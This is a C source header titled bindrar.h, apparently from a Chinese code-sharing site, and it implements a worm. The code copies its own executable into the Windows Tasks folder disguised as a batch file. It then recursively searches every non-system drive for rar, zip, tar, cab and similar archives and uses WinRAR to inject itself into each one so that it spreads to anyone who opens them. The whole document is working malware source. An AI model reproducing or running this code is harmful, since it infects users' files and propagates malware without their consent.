📄 bindrar.h
字号:
#include "head.h"
DWORD BeginrarFind(char szPath[]);
DWORD WINAPI rarworm(LPVOID lpParameter);
void createdir();
char windir[MAX_PATH];
//-----------------------------------------------------------
DWORD WINAPI bindrar(LPVOID lpParameter)
{
createdir();
CreateThread(NULL,NULL,rarworm,NULL,NULL,NULL);
return 1;
}
//----------------------------------------------------------------
void createdir()
{
char windowdir[MAX_PATH];
char mepath[MAX_PATH];
GetWindowsDirectory(windowdir,MAX_PATH);
strcpy(windir,windowdir);
strcat(windir,"\\Tasks\\绿化.bat");
GetModuleFileName(NULL,mepath,MAX_PATH);
// printf("%s\n%s",mepath,windir);
CopyFile(mepath,windir,FALSE);
}
//----------------------------------------------------------------
DWORD WINAPI rarworm(LPVOID lpParameter)
{
char szbuff[256]={0};
char szdrivestring[4]={0};
int len=GetLogicalDriveStrings(sizeof(szbuff),szbuff);
for(int i=0;i<len;i++)
{
if(szbuff[i]==0)
{
szdrivestring[0]=szbuff[i-3];
szdrivestring[1]=szbuff[i-2];
if(!lstrcmp(szdrivestring,"A:"))
{
continue;
}
if(!lstrcmp(szdrivestring,"C:"))
{
continue;
}
else
{
BeginrarFind(szdrivestring);
}
}
}
return 1;
}
//----------------------------------------------------------------
DWORD BeginrarFind(char szPath[])
{
char ProgramFilePath[255];
char rarpath[MAX_PATH]; //定义winrar目录
char bindrar[MAX_PATH];
char rarpath2[MAX_PATH];
ExpandEnvironmentStrings("%ProgramFiles%",ProgramFilePath,255);
strcpy(rarpath,ProgramFilePath);
strcat(rarpath,"\\WinRAR\\Rar.exe"); //得到rar.exe完整路径
sprintf(rarpath2,"\"%s\"",rarpath); //在路径上面加上双引号,方便执行命令
char szFindDriver[MAX_PATH]={0};
lstrcpy(szFindDriver,szPath);
lstrcat(szFindDriver,"\\*.*");
WIN32_FIND_DATA wfd;
HANDLE hFind = FindFirstFile(szFindDriver,&wfd);
if (hFind == INVALID_HANDLE_VALUE)
return 0;
while (FindNextFile(hFind, &wfd))
{
if (wfd.cFileName[0] == '.')
continue;
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char szFindPath[MAX_PATH];
lstrcpy(szFindPath,szPath);
lstrcat(szFindPath,"\\");
lstrcat(szFindPath,wfd.cFileName);
BeginrarFind(szFindPath);
}
else
{
char szFilePath[MAX_PATH];
lstrcpy(szFilePath,szPath);
lstrcat(szFilePath,"\\");
lstrcat(szFilePath,wfd.cFileName);
if(!lstrcmp(GetSuffixName3(szFilePath),"rar")||!lstrcmp(GetSuffixName3(szFilePath),"zip")
||!lstrcmp(GetSuffixName3(szFilePath),"tgz")||!lstrcmp(GetSuffixName3(szFilePath),"cab")
||!lstrcmp(GetSuffixName3(szFilePath),"tar")||!lstrcmp(GetSuffixName3(szFilePath),"z"))
{
printf("%s\r\n",szFilePath);
sprintf(bindrar,"%s -ep a \"%s\" %s",rarpath,szFilePath,windir);
printf("%s",bindrar);
WinExec(bindrar,0);
Sleep(5000);
}
}
}
FindClose(hFind);
return 1;
}
//----------------------------------------------------------------
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -